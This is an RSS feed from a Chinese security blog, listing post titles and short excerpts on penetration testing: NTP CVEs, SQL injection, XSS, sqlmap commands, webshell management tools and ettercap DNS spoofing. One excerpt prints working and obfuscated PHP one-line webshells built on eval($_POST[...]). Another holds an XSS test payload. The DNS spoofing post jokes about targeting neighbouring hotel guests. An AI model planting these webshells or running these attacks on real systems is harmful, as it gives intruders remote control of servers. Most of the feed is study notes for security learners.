<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[Daoke37的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/Daoke37</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; Daoke37]]></copyright><item><title><![CDATA[ntp 4.2.6p5版本漏洞详细]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/117226395</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/117226395</guid><author>Daoke37</author><pubDate>Mon, 24 May 2021 16:29:09 +0800</pubDate><description><![CDATA[1.  NTP CRYPTO_ASSOC 内存泄漏导致拒绝服务漏洞 (CVE-2015-7701)
       2.  NTPD 栈缓冲区溢出漏洞(CVE-2014-9295)
       3.  NTPD PRNG无效熵漏洞(CVE-2014-9293)
       4.  NTPD PRNG弱加密漏洞(CVE-2014-9294)
       5.  NTP 身份验证绕过漏洞(CVE-2015-7871)
       6.  NTP Kiss-o'-Death拒绝服务漏洞 (CV...]]></description><category></category></item><item><title><![CDATA[服务器系统及软件常见漏洞]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/117220435</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/117220435</guid><author>Daoke37</author><pubDate>Mon, 24 May 2021 11:25:11 +0800</pubDate><description><![CDATA[漏洞名称
允许Traceroute探测
远端WWW服务支持TRACE请求
远端WWW服务提供了对WebDAV的支持
远端WEB服务器上存在/robots.txt文件
远端VNC服务正在运行
远端HTTP服务器类型和版本信息泄漏
远端DNS服务允许递归查询
远程代理服务器允许连接任意端口
远程代理服务器接受POST请求
远程VNC HTTP服务正在运行
利用SMB会话可以获取远程域或工作组列表
利用SMB会话可以获取远程浏览列表
利用SMB会话可以获取远程共享列表
利用SMB会话可以获取目标主机配置信息
利用]]></description><category></category></item><item><title><![CDATA[牛逼的一句话木码]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/116595406</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/116595406</guid><author>Daoke37</author><pubDate>Mon, 10 May 2021 14:34:43 +0800</pubDate><description><![CDATA[//可执行命令一句话
普通一句话
&lt;?php eval($_POST[cc123]) ?&gt;
&lt;?php @eval($_POST['cc123']);?&gt;
PHP系列
&lt;?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["xindong"]); ?&gt;
&lt;?php $lang = (string)key($_POST);$lang($_POST['xindong']);?&gt;
&lt;?php $k="as]]></description><category></category></item><item><title><![CDATA[2021-04-13]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/115675648</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/115675648</guid><author>Daoke37</author><pubDate>Tue, 13 Apr 2021 19:01:17 +0800</pubDate><description><![CDATA[SQL注入
原理：
SQL注入是指Web应用程序对用户输入数据的合法性未进行判断、处理，前端传入的参数是攻击者可控的，并且参数被正常的带入到数据库查询，攻击者可以通过构造不同的SQL语句来进行对数据库的操作，正常情况下，攻击者可以对数据库进行高危操作，例如，数据查询、WebShell写入、命令执行等操作。
防御：
1、严格控制用户的权限
2、参数传值
3、基础过滤与二次过滤
4、使用安全参数
5、多层验证
6、数据库信息加密

...]]></description><category></category></item><item><title><![CDATA[常见的WebShell管理工具]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/115129300</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/115129300</guid><author>Daoke37</author><pubDate>Tue, 23 Mar 2021 16:30:37 +0800</pubDate><description><![CDATA[常见的WebShell管理工具
1.中国菜刀
2.蚁剑(AntSword)
3.C刀(Cknife)
4.冰蝎(Behinder)
5.Xise
6.Altman
7.Weevely
8.QuasiBot
9.Webshell-Sniper
10.WebshellManager

]]></description><category></category></item><item><title><![CDATA[渗透测试流程]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/115078057</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/115078057</guid><author>Daoke37</author><pubDate>Mon, 22 Mar 2021 14:41:12 +0800</pubDate><description><![CDATA[明确目标
当拿到一个合法的渗透测试项目时，我们首先应该明确客户要求我们进行渗透测试的范围以及整体项目的时间。比如说，给我们的域名有哪些，ip段有哪些，哪些社工手段我们不能使用等等
信息收集
针对域名
真实ip查询
当然，如果连真实ip都没有找到的话。相当于连门都没有找到，这里最头疼的就是企业常常为了增强网页访问速度为服务加cdn，如何查看是否做了cdn？这里我们可以利用nslookup url这个命令，如果说做了cdn那么会返回多个ip信息（如图1），当然也可以使用不同地点的vps去ping一下域名，做了c]]></description><category></category></item><item><title><![CDATA[XSS CSRF SSRF]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/114997123</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/114997123</guid><author>Daoke37</author><pubDate>Fri, 19 Mar 2021 09:29:38 +0800</pubDate><description><![CDATA[XSS (跨站脚本攻击)
不需要你做任何的登录认证，它会通过合法的操作（比如在url中输入、在评论框中输入），向你的页面注入脚本（可能是js、hmtl代码块等）。
类型：反射型XSS、存储型XSS、DOM型XSSS；
防范：XSS的防范措施主要有三个：编码、过滤、校正
设置xss filter  定制过滤策略  输出编码  黑名单白名单 设置http only
CSRF（跨站请求伪造）
CSRF（Cross-site request forgery）：跨域请求伪造，也被称为One Click Attack或]]></description><category></category></item><item><title><![CDATA[2017 owasptop10]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/114996491</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/114996491</guid><author>Daoke37</author><pubDate>Fri, 19 Mar 2021 08:57:35 +0800</pubDate><description><![CDATA[1.SQL注入
2.失效的身份认证和会话管理
3.敏感信息泄露
4.XML外部实体注入(XXE)
5.失效的访问控制
6.安全配置错误
7.XSS跨站脚本
8.不安全的反序列化
9.使用含有已知漏洞的组件
10.不足的日志记录和监控

...]]></description><category></category></item><item><title><![CDATA[代码执行与命令执行]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/114920395</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/114920395</guid><author>Daoke37</author><pubDate>Wed, 17 Mar 2021 11:10:59 +0800</pubDate><description><![CDATA[1）代码执行：
eval
preg_replace+/e
assert
call_user_func
call_user_func_array
create_function
2)命令执行：
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()

]]></description><category></category></item><item><title><![CDATA[SQL最重要语句]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/114918083</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/114918083</guid><author>Daoke37</author><pubDate>Wed, 17 Mar 2021 10:54:42 +0800</pubDate><description><![CDATA[查询当前数据库版本：		select version();
查询当前数据库用户：		select user();
查询当前路径：		select @@basedir;
查询所有数据库：		show databases;
选择一个数据库：		use + 数据库名;
查询当前数据库：		select database();
查询所有表名：		 show tables;
创建一个数据库：		create database 数据库名;
删除一个数据库：		drop database 数据库名;
查询一个表的结构：	]]></description><category></category></item><item><title><![CDATA[Sqlmap注入基础命令]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/114916922</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/114916922</guid><author>Daoke37</author><pubDate>Wed, 17 Mar 2021 10:06:42 +0800</pubDate><description><![CDATA[1.//检测当前URL是否是存在SQL注入漏洞
sqlmap.py -u “url”
2.//检测当前使用的数据库
sqlmap.py -u “url”  --current-db
3.//查看所有的数据库
sqlmap.py -u “url”  --dbs
4.//查询xxx数据库下的所有表
sqlmap.py -u url -D 库名 --tables
5.查询xxx数据库下xxx表的所有字段
sqlmap.py -u “url” -D 库名 -T 表名 --columns
6.查询xxx数据库下xxx]]></description><category></category></item><item><title><![CDATA[linux 前后台任务命令 bg、fg、ctrl+z、ctrl+d和ctrl+c 使用]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/114849220</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/114849220</guid><author>Daoke37</author><pubDate>Mon, 15 Mar 2021 20:27:16 +0800</pubDate><description><![CDATA[一、&amp; （常用）
&amp;   用在一个命令的最后，使用之后可以把这个命令放到后台执行
例： 
二、ctrl + z
将一个前台执行的命令挂起
三、jobs
查看当前有多少在后台运行的命令
jobs命令执行的结果，＋（加号）表示是一个当前的作业，- （减号）表示是一个当前作业之后的一个作业，jobs -l选项可显示所有任务的PID.
jobs的状态可以是running, stopped, Terminated,但是如果任务被终止了（kill），shell 从当前的shell环境已知的列表中删除任务]]></description><category></category></item><item><title><![CDATA[OpenVas 漏洞扫描器下载使用教程]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/114841880</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/114841880</guid><author>Daoke37</author><pubDate>Mon, 15 Mar 2021 17:24:50 +0800</pubDate><description><![CDATA[Openvas简介
Openvas是开源的，是Nessus项目分支，用于管理目标系统的漏洞，检测目标网络或主机的安全性。它的评估能力来源于数万个漏洞测试程序，openvas 早起版本还有一个客户端，现在的版本已经不提供客户端程序，现基于B/S(浏览器/服务器)架构进行工作，执行扫描并提供扫描结果。
安装下载
在Kali早起版本默认安装openvas，随着kali版本的更新，现openvas已不默认安装在kali里需手动安装，安装步骤如下：
1、apt-get update：更新软件包列表
2、apt-get]]></description><category></category></item><item><title><![CDATA[Nessus下载]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/114838536</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/114838536</guid><author>Daoke37</author><pubDate>Mon, 15 Mar 2021 16:22:45 +0800</pubDate><description><![CDATA[地址：https://www.tenable.com/downloads/nessus?loginAttempted=true

]]></description><category></category></item><item><title><![CDATA[2020-12-17]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/111321855</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/111321855</guid><author>Daoke37</author><pubDate>Thu, 17 Dec 2020 18:52:19 +0800</pubDate><description><![CDATA[首先先打开ettercap的DNS文件进行编辑，在kali linux2.0下的文件路径为/etc/ettercap/etter.dns

在对应的位置添加对应的 标识和IP地址  * 代表所有域名 后边就是你要欺骗为的IP地址，这里是当然是我自己的主机IP地址啦，然后记得保存。

再来编辑/var/www/html/index.html文件  改成你定义页面 这里我简单的改了下
因为后边我们要启动apache2 也就是网页服务器 这是主页文件，说白了目的是为了DNS欺骗成功后，
当受害者（隔壁宾馆两口）访]]></description><category></category></item><item><title><![CDATA[xss测试语句大全]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/111316341</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/111316341</guid><author>Daoke37</author><pubDate>Thu, 17 Dec 2020 15:24:21 +0800</pubDate><description><![CDATA[‘&gt;
%3Cscript%3Ealert(1)%3C/script%3E








]]></description><category></category></item><item><title><![CDATA[各大搜索引擎爬虫 User-Agent]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/111193761</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/111193761</guid><author>Daoke37</author><pubDate>Tue, 15 Dec 2020 11:28:36 +0800</pubDate><description><![CDATA[百度搜索User-Agent：
百度 PC UA
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
百度移动 UA
Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) Apple]]></description><category></category></item><item><title><![CDATA[常用的一些子域名，旁站查询]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/110878025</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/110878025</guid><author>Daoke37</author><pubDate>Tue, 08 Dec 2020 17:34:40 +0800</pubDate><description><![CDATA[子域名，旁站
一
https://tools.ipip.net/ipdomain.php?ip=x.x.x.x
https://cn.bing.com/search?q=ip:x.x.x.x  Bing搜索
https://api.hackertarget.com/reverseiplookup/?q=xxx.com
https://securitytrails.com/dns-trails 比较常用的一个
https://www.robtex.com/cidr/x.x.x.x-x
https://fofa]]></description><category></category></item><item><title><![CDATA[Linux 防火墙配置]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/110133435</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/110133435</guid><author>Daoke37</author><pubDate>Wed, 25 Nov 2020 15:59:51 +0800</pubDate><description><![CDATA[]]></description><category></category></item><item><title><![CDATA[Linux基础命令使用（基于ContOS7）]]></title><link>https://blog.youkuaiyun.com/Daoke37/article/details/110086662</link><guid>https://blog.youkuaiyun.com/Daoke37/article/details/110086662</guid><author>Daoke37</author><pubDate>Tue, 24 Nov 2020 18:25:12 +0800</pubDate><description><![CDATA[Liunx 目录管理
1.终端实用技巧
1.1  tab 键自动补全
1.2 按 上／下 光标键曾经使用过的命令来回切换
1.3  ctrl + c 结束命令
2.ls(list)  列出目录


-a 显示指定目录下所有子目录与文件，包括隐藏文件


-l 以列表方式显示文件的详细信息


-h 配合 -l 以人性化的方式显示文件大小


-d 仅列出目录本身，而不是列出目录内的文件数据


3. cd (change directory)切换目录

cd… 切换到上级目录
cd - 可以在最近两次工作目]]></description><category></category></item></channel></rss>